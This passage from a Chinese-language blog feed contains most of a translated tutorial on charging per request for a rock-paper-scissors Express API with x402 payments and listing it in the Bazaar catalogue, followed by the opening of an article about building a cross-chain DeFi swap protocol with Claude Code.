</code></pre><p>&#x6211;&#x4EEC;&#x5C06;&#x9996;&#x5148;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;<strong>&#x77F3;&#x5934;-&#x7EB8;-&#x526A;&#x5200;</strong>&#x7AEF;&#x70B9;&#x3002;&#x7136;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x628A;&#x5B83;&#x4E0E; <strong>x402</strong> &#x96C6;&#x6210;&#xFF0C;&#x4F7F;&#x6BCF;&#x4E2A;&#x8BF7;&#x6C42;&#x90FD;&#x53EF;&#x4EE5;&#x4ED8;&#x8D39;&#xFF0C;&#x5E76;&#x63D0;&#x4F9B;&#x5FC5;&#x8981;&#x7684;&#x914D;&#x7F6E;&#x4EE5;&#x4FBF;&#x5728; <strong>Bazaar</strong> &#x4E2D;&#x5217;&#x51FA;&#x670D;&#x52A1;&#x3002;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; index.js &#x7684;&#x6587;&#x4EF6;&#x3002;</p><h3 id="33-%E4%BD%BF%E7%94%A8-express-%E8%AE%BE%E7%BD%AE%E7%AB%AF%E7%82%B9">3.3 &#x4F7F;&#x7528; Express &#x8BBE;&#x7F6E;&#x7AEF;&#x70B9;</h3><pre><code class="language-javascript">import express from &quot;express&quot;;

const moves = [&quot;rock&quot;, &quot;paper&quot;, &quot;scissors&quot;];

function getOutcome(player, server) {
  if (player === server) return &quot;draw&quot;;

  if (
    (player === &quot;rock&quot; &amp;&amp; server === &quot;scissors&quot;) ||
    (player === &quot;paper&quot; &amp;&amp; server === &quot;rock&quot;) ||
    (player === &quot;scissors&quot; &amp;&amp; server === &quot;paper&quot;)
  ) {
    return &quot;win&quot;;
  }

  return &quot;lose&quot;;
}

const app = express();
app.use(express.json());

app.post(&quot;/rps/play&quot;, (req, res) =&gt; {
  try {
    const { move } = req.body;

    if (!move || !moves.includes(move)) {
      res.status(400).send({
        error: &quot;Move must be rock, paper, or scissors&quot;
      });
      return;
    }

    const serverMove = moves[Math.floor(Math.random() * moves.length)];
    const outcome = getOutcome(move, serverMove);

    res.send({
      playerMove: move,
      serverMove,
      outcome
    });

  } catch (err) {
    res.status(500).send({ error: &quot;Internal server error&quot; });
  }
});

app.listen(4021, () =&gt; {
  console.log(`Server listening at http://localhost:4021`);
});</code></pre><p>&#x73B0;&#x5728;&#x4E3A;&#x4E0A;&#x8FF0;&#x7AEF;&#x70B9;&#x8BBE;&#x7F6E; x402 &#x548C; Bazaar &#x6240;&#x9700;&#x7684;&#x914D;&#x7F6E;</p><pre><code class="language-javascript">// &#x2026; existing imports
import { paymentMiddleware } from &quot;x402-express&quot;;
import { facilitator } from &quot;@coinbase/x402&quot;;

// after `app.use(express.json())`

app.use(
  paymentMiddleware(
    &quot;0xB1De43C2Ca1195258FEE160adAcB1820c3776B7D&quot;,
    {
      &quot;POST /rps/play&quot;: {
        price: &quot;$0.001&quot;, // USDC testnet price
        network: &quot;base&quot;,
        config: {
          name: &quot;Rock-Paper-Scissors&quot;,
          description: &quot;Pay to play a simple game of Rock-Paper-Scissors.&quot;,
          discoverable: true,
          inputSchema: {
            type: &quot;object&quot;,
            properties: {
              move: {
                type: &quot;string&quot;,
                enum: [&quot;rock&quot;, &quot;paper&quot;, &quot;scissors&quot;],
                description: &quot;Your move&quot;
              }
            },
            required: [&quot;move&quot;]
          },
          outputSchema: {
            type: &quot;object&quot;,
            properties: {
              playerMove: { type: &quot;string&quot; },
              serverMove: { type: &quot;string&quot; },
              outcome: { type: &quot;string&quot; }
            }
          }
        }
      }
    },
    {
      facilitator
    }
  )
);

// before `app.post(&quot;/rps/play&quot;&#x2026;`</code></pre><p>paymentMiddleware &#x5C06; <strong>x402</strong> &#x4F5C;&#x4E3A; Express &#x4E2D;&#x95F4;&#x4EF6;&#x96C6;&#x6210;&#x5230;&#x672C;&#x9879;&#x76EE;&#x4E2D;&#xFF08;&#x5728;<a href="https://expressjs.com/en/guide/using-middleware.html?ref=defiplot.com">&#x8FD9;&#x91CC;</a>&#x4E86;&#x89E3;&#x66F4;&#x591A;&#x5173;&#x4E8E; Express &#x4E2D;&#x95F4;&#x4EF6;&#x7684;&#x4FE1;&#x606F;&#xFF09;&#x3002;</p><p>&#x5B83;&#x63A5;&#x53D7;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF1A;</p><ol><li><strong>&#x6536;&#x6B3E;&#x5730;&#x5740;</strong> &#x2014; &#x63A5;&#x6536;&#x8BE5;&#x7AEF;&#x70B9;&#x4ED8;&#x6B3E;&#x7684;&#x94B1;&#x5305;&#x5730;&#x5740;&#x3002;</li><li><strong>Bazaar &#x914D;&#x7F6E;</strong> &#x2014; &#x63CF;&#x8FF0;&#x4F60;&#x5728; Bazaar &#x76EE;&#x5F55;&#x4E2D;&#x670D;&#x52A1;&#x5143;&#x6570;&#x636E;&#xFF0C;&#x4F7F; AI &#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#x5B83;&#x3002;</li></ol><p>&#x914D;&#x7F6E;&#x4E2D;&#x7684; discoverable &#x6807;&#x5FD7;&#x8BBE;&#x7F6E;&#x4E3A; true&#xFF0C;&#x8FD9;&#x786E;&#x4FDD;&#x4F60;&#x7684; API &#x4F1A;&#x81EA;&#x52A8;&#x5217;&#x5728; Bazaar &#x76EE;&#x5F55;&#x4E2D;&#x3002;</p><p>&#x6CE8;&#x610F;&#xFF1A;&#x8981;&#x4F7F;&#x4F60;&#x7684; API &#x53EF;&#x88AB; Bazaar &#x7D22;&#x5F15;&#xFF0C;&#x4F60;&#x5FC5;&#x987B;&#x5C06;&#x5176;&#x90E8;&#x7F72;&#x5230;&#x516C;&#x6709;&#x4E91;&#xFF08;&#x4F8B;&#x5982; <a href="https://railway.app/?ref=defiplot.com">Railway</a>&#x3001;AWS &#x7B49;&#xFF09;&#xFF0C;&#x5E76;&#x786E;&#x4FDD;&#x5B83;&#x53EF;&#x4EE5;&#x88AB;&#x516C;&#x5F00;&#x8BBF;&#x95EE;&#x3002;</p><p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x8BA9;&#x6211;&#x4EEC;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x6A21;&#x62DF;<strong>&#x4E70;&#x65B9;</strong>&#x7684;&#x7B80;&#x5355;&#x51FD;&#x6570;&#xFF1A;</p><ul><li>&#x5B83;&#x67E5;&#x8BE2; Bazaar &#x76EE;&#x5F55;&#x4EE5;&#x5217;&#x51FA;&#x53EF;&#x7528;&#x7684;&#x670D;&#x52A1;&#x3002;</li><li>&#x9009;&#x62E9;&#x6211;&#x4EEC;&#x7684;&#x77F3;&#x5934;-&#x7EB8;-&#x526A;&#x5200;&#x670D;&#x52A1;&#x3002;</li><li>&#x5728;&#x6BCF;&#x6B21;&#x8BF7;&#x6C42;&#x65F6;&#x652F;&#x4ED8; <strong>USDC</strong> &#x6765;&#x73A9;&#x6E38;&#x620F;&#x3002;</li></ul><p>&#x73B0;&#x5728;&#x521B;&#x5EFA;&#x53E6;&#x4E00;&#x4E2A;&#x540D;&#x4E3A; buyer.js &#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x4ECE;&#x5217;&#x51FA;&#x76EE;&#x5F55;&#x5F00;&#x59CB;&#xFF1A;</p><pre><code class="language-javascript">const listCatalog = async () =&gt; {
  const response = await fetch(
    &quot;https://api.cdp.coinbase.com/platform/v2/x402/discovery/resources&quot;
  );

  const res = await response.json();
  console.log(res);
};

const run = async () =&gt; {
  const catalog = await listCatalog();
};

run();</code></pre><p>&#x8FD9;&#x5C06;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x5BF9;&#x8C61;&#x6570;&#x7EC4;&#xFF1A;</p><pre><code class="language-json">{
 &quot;items&quot;: [&#x2026;]
}
</code></pre><p>&#x73B0;&#x5728;&#x6211;&#x4EEC;&#x6709;&#x4E86;&#x670D;&#x52A1;&#x5217;&#x8868;&#xFF0C;&#x5728;&#x53D1;&#x8D77;&#x8C03;&#x7528;&#x4E4B;&#x524D;&#x8FD8;&#x9700;&#x8981;&#x8BBE;&#x7F6E;&#x4E00;&#x4E9B;&#x524D;&#x7F6E;&#x6761;&#x4EF6;&#xFF1A;</p><p><strong>&#x94B1;&#x5305;&#x8BBE;&#x7F6E;</strong> &#x2014; &#x6211;&#x4EEC;&#x9700;&#x8981;&#x4E00;&#x4E2A;&#x94B1;&#x5305;&#x6765;&#x652F;&#x4ED8;&#x670D;&#x52A1;&#x8D39;&#x7528;&#x3002;&#x6700;&#x5FEB;&#x7684;&#x9009;&#x62E9;&#x662F;&#x4F7F;&#x7528; <strong>CDP &#x94B1;&#x5305;</strong>&#xFF0C;&#x5B83;&#x5C06;&#x6240;&#x6709;&#x590D;&#x6742;&#x6027;&#x62BD;&#x8C61;&#x4E3A;&#x4E24;&#x884C;&#x4EE3;&#x7801;&#x3002;&#x6216;&#x8005;&#x4F60;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x81EA;&#x5DF1;&#x7684;&#x94B1;&#x5305;&#xFF0C;&#x4F46;&#x9700;&#x8981;&#x81EA;&#x5DF1;&#x5904;&#x7406;&#x5B8C;&#x6574;&#x7684; viem &#x914D;&#x7F6E;&#x3002;</p><p><strong>&#x53D1;&#x8D77; API &#x8C03;&#x7528;</strong> &#x2014; &#x6709;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#xFF1A;</p><ul><li>&#x624B;&#x52A8;&#x65B9;&#x5F0F;&#xFF1A;&#x4F7F;&#x7528; fetch &#x6216; axios &#x8C03;&#x7528; API&#xFF0C;&#x6536;&#x5230; 402 Payment Required &#x54CD;&#x5E94;&#xFF0C;&#x8FDB;&#x884C;&#x652F;&#x4ED8;&#xFF0C;&#x7136;&#x540E;&#x91CD;&#x8BD5;&#x3002;</li><li>&#x81EA;&#x52A8;&#x65B9;&#x5F0F;&#xFF1A;&#x4F7F;&#x7528; <strong>CDP &#x5C01;&#x88C5;</strong>&#x7684; fetch &#x6216; axios&#xFF0C;&#x5B83;&#x4EEC;&#x4F1A;&#x81EA;&#x52A8;&#x5904;&#x7406;&#x6574;&#x4E2A;&#x652F;&#x4ED8;&#x6D41;&#x7A0B;&#x3002;</li></ul><p>&#x5728;&#x672C;&#x6559;&#x7A0B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x4F7F;&#x7528; <strong>x402-fetch</strong> &#x6765;&#x5C01;&#x88C5; fetch&#x3002;</p><pre><code class="language-javascript">import { CdpClient } from &quot;@coinbase/cdp-sdk&quot;;
import dotenv from &quot;dotenv&quot;;
import {
  wrapFetchWithPayment,
  decodeXPaymentResponse
} from &quot;x402-fetch&quot;;

dotenv.config();

// Setup CDP account or bring your own wallet
const cdp = new CdpClient();
const cdpAccount = await cdp.evm.getAccount({
  name: &quot;buyer-account&quot;
});

// feel free to enable this in testnet, perks for using CDP &#x1F605;
// await cdp.evm.requestFaucet({
//   address: cdpAccount.address,
//   network: &quot;base-sepolia&quot;,
//   token: &quot;usdc&quot;
// });

// providing x402 super power to our good old `fetch`
const fetchWithPayment = wrapFetchWithPayment(fetch, cdpAccount);

// &#x2026; previous listCatalog function

const run = async () =&gt; {
  try {
    const catalog = await listCatalog();

    // choosing a service, assuming that it&apos;s our RPS API
    const service = catalog.items[0];

    const response = await fetchWithPayment(service.resource, {
      method: &quot;POST&quot;,
      headers: {
        &quot;Content-Type&quot;: &quot;application/json&quot;
      },
      body: JSON.stringify({ move })
    });

    const result = await response.json();
    console.log(&quot;Game result:&quot;, result);

    const paymentResponse = decodeXPaymentResponse(
      response.headers.get(&quot;x-payment-response&quot;)
    );

    console.log(paymentResponse);
  } catch (error) {
    console.log(error);
  }
};

run();</code></pre><p>&#x4F7F;&#x7528; <strong>fetchWithPayment</strong> &#x53EF;&#x4EE5;&#x786E;&#x4FDD;&#x5F53; API &#x8FD4;&#x56DE; 402 Payment Required &#x65F6;&#xFF0C;&#x652F;&#x4ED8;&#x4F1A;&#x88AB;&#x81EA;&#x52A8;&#x5904;&#x7406;&#x5E76;&#x4E14;&#x8BF7;&#x6C42;&#x4F1A;&#x81EA;&#x52A8;&#x91CD;&#x8BD5;&#x2014;&#x2014;&#x56E0;&#x6B64;&#x4F60;&#x65E0;&#x9700;&#x81EA;&#x5DF1;&#x7BA1;&#x7406;&#x652F;&#x4ED8;&#x6D41;&#x7A0B;&#x5373;&#x53EF;&#x83B7;&#x5F97;&#x7ED3;&#x679C;&#x3002;</p><h2 id="4%E3%80%81%E8%BF%90%E8%A1%8C%E5%BA%94%E7%94%A8">4&#x3001;&#x8FD0;&#x884C;&#x5E94;&#x7528;</h2><p>&#x5356;&#x65B9;</p><pre><code>node index.ts
</code></pre><p>&#x4E70;&#x65B9;</p><pre><code>node buyer.js
</code></pre><p>&#x4F60;&#x5C06;&#x770B;&#x5230;&#xFF1A;</p><ol><li>&#x670D;&#x52A1;&#x5668;&#x542F;&#x52A8;</li><li>&#x4E70;&#x65B9;&#x53D1;&#x73B0;&#x670D;&#x52A1;</li><li>&#x7B2C;&#x4E00;&#x6B21;&#x8C03;&#x7528;&#x8FD4;&#x56DE; HTTP 402 &#x53CA;&#x652F;&#x4ED8;&#x8BE6;&#x60C5;</li><li>&#x6D4B;&#x8BD5;&#x7F51;&#x534F;&#x8C03;&#x5668;&#x9881;&#x53D1;&#x6536;&#x636E;</li><li>&#x643A;&#x5E26; X-PAYMENT &#x5934;&#x91CD;&#x8BD5;</li><li>&#x670D;&#x52A1;&#x5668;&#x8FD4;&#x56DE;&#x6709;&#x6548;&#x54CD;&#x5E94;</li></ol><h2 id="5%E3%80%81%E4%BB%8E%E6%BC%94%E7%A4%BA%E5%88%B0%E7%94%9F%E4%BA%A7%E7%8E%AF%E5%A2%83%E7%9A%84%E6%98%A0%E5%B0%84">5&#x3001;&#x4ECE;&#x6F14;&#x793A;&#x5230;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x7684;&#x6620;&#x5C04;</h2><ul><li><strong>Bazaar UI &#x548C;&#x76EE;&#x5F55;</strong>&#xFF1A;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E2D;&#xFF0C;&#x8FD9;&#x662F;&#x4E00;&#x4E2A;&#x5E26;&#x6709;&#x8BC4;&#x5206;&#x3001;&#x5B9A;&#x4EF7;&#x3001;&#x5EF6;&#x8FDF;&#x548C;&#x7F51;&#x7EDC;&#x4FE1;&#x606F;&#x7684;&#x6258;&#x7BA1;&#x76EE;&#x5F55;&#x3002;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x4F1A;&#x9009;&#x62E9;&#x5339;&#x914D;<strong>&#x9884;&#x7B97;&#x548C;&#x653F;&#x7B56;&#x7EA6;&#x675F;</strong>&#x7684;&#x670D;&#x52A1;&#x63D0;&#x4F9B;&#x5546;&#x3002;</li><li><strong>x402</strong>&#xFF1A;&#x6A21;&#x5F0F;&#x5B8C;&#x5168;&#x76F8;&#x540C;&#x2014;&#x2014;<strong>&#x670D;&#x52A1;&#x5BF9;&#x672A;&#x652F;&#x4ED8;&#x8BF7;&#x6C42;&#x8FD4;&#x56DE; 402</strong>&#xFF0C;&#x4EE3;&#x7406;&#x901A;&#x8FC7;<strong>&#x534F;&#x8C03;&#x5668;</strong>&#x5B8C;&#x6210;<strong>&#x7ED3;&#x7B97;</strong>&#xFF0C;&#x7136;&#x540E;&#x643A;&#x5E26;<strong>&#x652F;&#x4ED8;&#x8BC1;&#x660E;</strong>&#x5934;&#x91CD;&#x8BD5;&#x5B8C;&#x5168;&#x76F8;&#x540C;&#x7684; HTTP &#x8BF7;&#x6C42;&#x3002;</li><li><strong>&#x534F;&#x8C03;&#x5668;</strong>&#xFF1A;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x4E2D;&#xFF0C;&#x4F60;&#x4F1A;&#x4F7F;&#x7528; <strong>Coinbase &#x7684;&#x9ED8;&#x8BA4;&#x534F;&#x8C03;&#x5668;</strong>&#x5904;&#x7406; <strong>Base &#x4E0A;&#x7684; USDC</strong>&#xFF08;&#x6216;&#x8005;&#x8FD0;&#x884C;&#x81EA;&#x5DF1;&#x7684;&#x534F;&#x8C03;&#x5668;/&#x9009;&#x62E9;&#x793E;&#x533A;&#x534F;&#x8C03;&#x5668;&#xFF09;&#x3002;&#x5B83;&#x7684;&#x804C;&#x8D23;&#x662F;&#xFF1A;&#x9A8C;&#x8BC1;&#x652F;&#x4ED8;&#x5E76;&#x9881;&#x53D1;&#x4F60;&#x7684;&#x670D;&#x52A1;&#x53EF;&#x4EE5;&#x4FE1;&#x4EFB;&#x7684;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x3002;</li><li><strong>&#x670D;&#x52A1;</strong>&#xFF1A;&#x4F60;&#x7684; API &#x5E94;&#x8BE5;&#x5C06; 402 &#x89C6;&#x4E3A;&#x4E00;&#x4EFD;<strong>&#x5408;&#x7EA6;</strong>&#xFF1A;&#x660E;&#x786E;&#x6307;&#x5B9A;<strong>&#x91D1;&#x989D;&#x3001;&#x8D44;&#x4EA7;&#x3001;&#x7F51;&#x7EDC;&#x3001;&#x5356;&#x5BB6;&#x548C;&#x534F;&#x8C03;&#x5668; URL</strong>&#xFF0C;&#x7136;&#x540E;&#x5728;&#x91CD;&#x8BD5;&#x65F6;&#x9A8C;&#x8BC1;&#x534F;&#x8C03;&#x5668;&#x7684;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x540E;&#x518D;&#x8FD4;&#x56DE;&#x6570;&#x636E;&#x3002;</li></ul><h2 id="6%E3%80%81%E5%8A%A0%E5%9B%BA%E4%B8%8E%E6%89%A9%E5%B1%95">6&#x3001;&#x52A0;&#x56FA;&#x4E0E;&#x6269;&#x5C55;</h2><ul><li><strong>&#x91CD;&#x653E;&#x4FDD;&#x62A4;</strong>&#xFF1A;&#x5C06;&#x652F;&#x4ED8;&#x8BC1;&#x660E;&#x7ED1;&#x5B9A;&#x5230; <code>paymentRequestId</code> + &#x65B9;&#x6CD5; + &#x8DEF;&#x5F84; + &#x67E5;&#x8BE2;&#x53C2;&#x6570;&#xFF0C;&#x5E76;&#x8BBE;&#x7F6E;&#x5FEB;&#x901F;&#x8FC7;&#x671F;&#x3002;&#x6CE8;&#x610F;&#xFF1A;CDP &#x534F;&#x8C03;&#x5668;&#x9ED8;&#x8BA4;&#x8BBE;&#x8BA1;&#x5DF2;&#x8003;&#x8651;&#x8FD9;&#x4E00;&#x70B9;&#x2014;&#x2014;&#x63D0;&#x4F9B; 60 &#x79D2;&#x7684;&#x652F;&#x4ED8;&#x548C;&#x91CD;&#x8BD5;&#x7A97;&#x53E3;&#x3002;</li><li><strong>&#x5206;&#x7EA7;&#x54CD;&#x5E94;</strong>&#xFF1A;&#x63D0;&#x4F9B;&#x514D;&#x8D39;&#x9884;&#x89C8;&#xFF0C;&#x5BF9;&#x9AD8;&#x5206;&#x8FA8;&#x7387;/&#x957F;&#x65F6;&#x95F4;&#x8FD0;&#x884C;&#x6536;&#x8D39;&#x3002;</li><li><strong>&#x52A8;&#x6001;&#x5B9A;&#x4EF7;</strong>&#xFF1A;&#x5728; 402 &#x54CD;&#x5E94;&#x4F53;&#x4E2D;&#x6839;&#x636E;<strong>&#x8F93;&#x5165;&#x5927;&#x5C0F;</strong>&#xFF08;&#x5982;&#x97F3;&#x9891;&#x79D2;&#x6570;&#x3001;token &#x6570;&#xFF09;&#x62A5;&#x4EF7;&#x3002;</li><li><strong>&#x670D;&#x52A1;&#x63D0;&#x4F9B;&#x5546;&#x5207;&#x6362;</strong>&#xFF1A;&#x4F60;&#x7684;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x6BD4;&#x8F83;<strong>&#x8BC4;&#x5206;/&#x4EF7;&#x683C;/&#x5EF6;&#x8FDF;</strong>&#xFF0C;&#x5728;&#x5DE5;&#x4F5C;&#x6D41;&#x4E2D;&#x9014;&#x5207;&#x6362;&#x63D0;&#x4F9B;&#x5546;&#xFF0C;&#x7EE7;&#x7EED;&#x6267;&#x884C;&#x3002;</li><li><strong>&#x94FE;&#x4E0A;&#x6536;&#x636E;</strong>&#xFF1A;&#x5305;&#x542B;&#x4EA4;&#x6613;&#x54C8;&#x5E0C;&#x548C;&#x534F;&#x8C03;&#x5668;&#x8BC1;&#x660E;&#xFF0C;&#x5C06;&#x94FE;&#x4E0B;&#x5DE5;&#x4F5C;&#x4E0E;&#x94FE;&#x4E0A;&#x652F;&#x4ED8;&#x951A;&#x5B9A;&#x3002;</li></ul><h2 id="7%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">7&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>&#x4F60;&#x521A;&#x521A;&#x8FD0;&#x884C;&#x4E86;&#x4E00;&#x4E2A;&#x5B8C;&#x6574;&#x7684;&#x3001;&#x5BF9;&#x4EE3;&#x7406;&#x53CB;&#x597D;&#x7684; <strong>Bazaar + x402</strong> &#x5FAA;&#x73AF;&#xFF1A;<strong>&#x53D1;&#x73B0;</strong>&#x670D;&#x52A1;&#xFF0C;&#x8C03;&#x7528;&#x5E76;&#x6536;&#x5230; <strong>402 Payment Required &#x72B6;&#x6001;</strong>&#xFF0C;&#x901A;&#x8FC7;&#x534F;&#x8C03;&#x5668;<strong>&#x652F;&#x4ED8;</strong>&#xFF0C;<strong>&#x643A;&#x5E26;&#x8BC1;&#x660E;&#x91CD;&#x8BD5;</strong>&#xFF0C;&#x5E76;&#x83B7;&#x5F97;<strong>&#x4ED8;&#x8D39;</strong>&#x7ED3;&#x679C;&#x2014;&#x2014;&#x65E0;&#x9700;&#x8D26;&#x6237;&#xFF0C;&#x65E0;&#x9700;&#x8BA2;&#x9605;&#xFF0C;<strong>&#x6309;&#x8BF7;&#x6C42;&#x4ED8;&#x8D39;</strong>&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://medium.com/@heimlabs/ship-a-402-powered-api-bazaar-with-x402-from-discovery-to-paid-response-in-one-script-cf08f3853b05?ref=defiplot.com">Ship a 402-Powered API Bazaar with x402 &#x2014; From Discovery to Paid Response in One Script</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[18小时，AI帮我构建DeFi协议]]></title><description><![CDATA[这种规模的系统通常需要经验丰富的区块链工程师80到150小时才能搞定。使用Claude Code，配合完整的代码库上下文，我在大约18小时内就完成了端到端的构建。]]></description><link>https://defiplot.com/blog/ai-helped-me-build-a-defi-protocol-in-18-hours/</link><guid isPermaLink="false">69e21bf7ec23a43b2add9494</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Fri, 17 Apr 2026 11:44:28 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/04/ai-helped-me-build-a-defi-protocol-in-18-hours.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/04/ai-helped-me-build-a-defi-protocol-in-18-hours.png" alt="18&#x5C0F;&#x65F6;&#xFF0C;AI&#x5E2E;&#x6211;&#x6784;&#x5EFA;DeFi&#x534F;&#x8BAE;"><p>&#x6211;&#x4E00;&#x76F4;&#x5728;&#x542C;&#x5230;&#x4E00;&#x79CD;&#x65E0;&#x4F11;&#x6B62;&#x7684;&#x8BBA;&#x8C03;&#xFF0C;&#x8BF4;AI&#x6B63;&#x5728;&#x50AC;&#x751F;&#x65B0;&#x4E00;&#x4EE3;&quot;10&#x500D;&#x5F00;&#x53D1;&#x8005;&quot;&#x3002;&#x8BF4;&#x5B9E;&#x8BDD;&#xFF0C;&#x6211;&#x60F3;&#x770B;&#x770B;&#x8FD9;&#x662F;&#x771F;&#x6709;&#x5176;&#x4E8B;&#xFF0C;&#x8FD8;&#x662F;&#x53EA;&#x662F;&#x4E3A;&#x4E86;&#x642D;&#x5EFA;React&#x7EC4;&#x4EF6;&#x548C;&#x6784;&#x5EFA;&#x7B80;&#x5355;UI&#x5305;&#x88C5;&#x5668;&#x800C;&#x5236;&#x9020;&#x7684;&#x8425;&#x9500;&#x5671;&#x5934;&#x3002;&#x5F53;&#x4F60;&#x5728;&#x53D7;&#x63A7;&#x73AF;&#x5883;&#x4E2D;&#x751F;&#x6210;&#x53EF;&#x9884;&#x6D4B;&#x7684;&#x811A;&#x672C;&#x65F6;&#xFF0C;&#x5F88;&#x5BB9;&#x6613;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x4E00;&#x4F4D;&#x9B54;&#x6CD5;&#x5E08;&#x3002;&#x4F46;&#x5728;&#x53BB;&#x4E2D;&#x5FC3;&#x5316;&#x91D1;&#x878D;&#x9886;&#x57DF;&#xFF0C;&#x5408;&#x7EA6;&#x6258;&#x7BA1;&#x7684;&#x662F;&#x771F;&#x5B9E;&#x4EF7;&#x503C;&#x3002;&#x6267;&#x884C;&#x8DE8;&#x8D8A;&#x591A;&#x4E2A;&#x94FE;&#xFF0C;&#x72B6;&#x6001;&#x662F;&#x788E;&#x7247;&#x5316;&#x4E14;&#x5F02;&#x6B65;&#x7684;&#xFF0C;&#x5931;&#x8D25;&#x4E0D;&#x4EC5;&#x4EC5;&#x662F;&#x5B64;&#x7ACB;&#x7684;&#x63A7;&#x5236;&#x53F0;&#x9519;&#x8BEF;&#x3002;&#x5B83;&#x4EEC;&#x4F1A;&#x6076;&#x610F;&#x5730;&#x8DE8;&#x7CFB;&#x7EDF;&#x8FB9;&#x754C;&#x7EA7;&#x8054;&#x4F20;&#x64AD;&#x3002;&#x6211;&#x9700;&#x8981;&#x77E5;&#x9053;AI&#x662F;&#x5426;&#x771F;&#x7684;&#x80FD;&#x5E2E;&#x52A9;&#x6784;&#x5EFA;&#x5728;&#x5BF9;&#x6297;&#x6027;&#x3001;&#x8DE8;&#x94FE;&#x73B0;&#x5B9E;&#x4E2D;&#x5B58;&#x6D3B;&#x7684;&#x7CFB;&#x7EDF;&#x3002;</p><h2 id="1%E3%80%81%E6%88%91%E6%9E%84%E5%BB%BA%E4%BA%86%E4%BB%80%E4%B9%88">1&#x3001;&#x6211;&#x6784;&#x5EFA;&#x4E86;&#x4EC0;&#x4E48;</h2><p>&#x4E3A;&#x4E86;&#x6D4B;&#x8BD5;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x6211;&#x5750;&#x4E0B;&#x6765;&#x6784;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x8DE8;&#x94FE;&#x5151;&#x6362;&#x534F;&#x8BAE;&#x3002;&#x6211;&#x8BBE;&#x8BA1;&#x4E86;&#x4E24;&#x6761;&#x6267;&#x884C;&#x8DEF;&#x5F84;&#xFF1A;&#x901A;&#x8FC7;Uniswap V3&#x8DEF;&#x7531;&#x7684;&#x540C;&#x94FE;&#x5151;&#x6362;&#xFF0C;&#x4EE5;&#x53CA;&#x5229;&#x7528;LayerZero&#x6D88;&#x606F;&#x4F20;&#x9012;&#x7684;&#x8DE8;&#x94FE;&#x5151;&#x6362;&#x3002;&#x67B6;&#x6784;&#x5F88;&#x91CD;&#xFF0C;&#x4F9D;&#x8D56;&#x51E0;&#x4E2A;&#x6838;&#x5FC3;&#x7EC4;&#x4EF6;&#xFF1A;</p><ul><li><strong>&#x8DEF;&#x7531;&#x5408;&#x7EA6;&#xFF1A;</strong> &#x51B3;&#x5B9A;&#x6267;&#x884C;&#x8DEF;&#x5F84;&#x7684;&#x4E3B;&#x8981;&#x5165;&#x53E3;&#x70B9;&#x3002;</li><li><strong>&#x91D1;&#x5E93;&#x5408;&#x7EA6;&#xFF1A;</strong> &#x5904;&#x7406;&#x6258;&#x7BA1;&#x548C;&#x534F;&#x8BAE;&#x8BB0;&#x8D26;&#x3002;</li><li><strong>&#x8D39;&#x7528;&#x6A21;&#x5757;&#xFF1A;</strong> &#x7BA1;&#x7406;&#x534F;&#x8BAE;&#x7EA7;&#x522B;&#x7684;&#x8BA1;&#x7B97;&#x548C;&#x5206;&#x914D;&#x3002;</li><li><strong>&#x6865;&#x63A5;&#x9002;&#x914D;&#x5668;&#xFF1A;</strong> &#x76F4;&#x63A5;&#x4E0E;LayerZero&#x7AEF;&#x70B9;&#x4EA4;&#x4E92;&#x3002;</li></ul><p>&#x6211;&#x5B9E;&#x73B0;&#x7684;&#x4E00;&#x4E2A;&#x7B80;&#x5316;&#x7684;&#x8DEF;&#x7531;&#x51FD;&#x6570;&#x770B;&#x8D77;&#x6765;&#x50CF;&#x8FD9;&#x6837;&#xFF1A;</p><pre><code class="language-solidity">function executeSwap(
    address tokenIn,
    address tokenOut,
    uint256 amount,
    uint16 dstChainId,
    bytes calldata payload
) external payable {
    if (dstChainId == block.chainid) {
        _swapLocal(tokenIn, tokenOut, amount);
    } else {
        _swapCrossChain(tokenIn, tokenOut, amount, dstChainId, payload);
    }
}
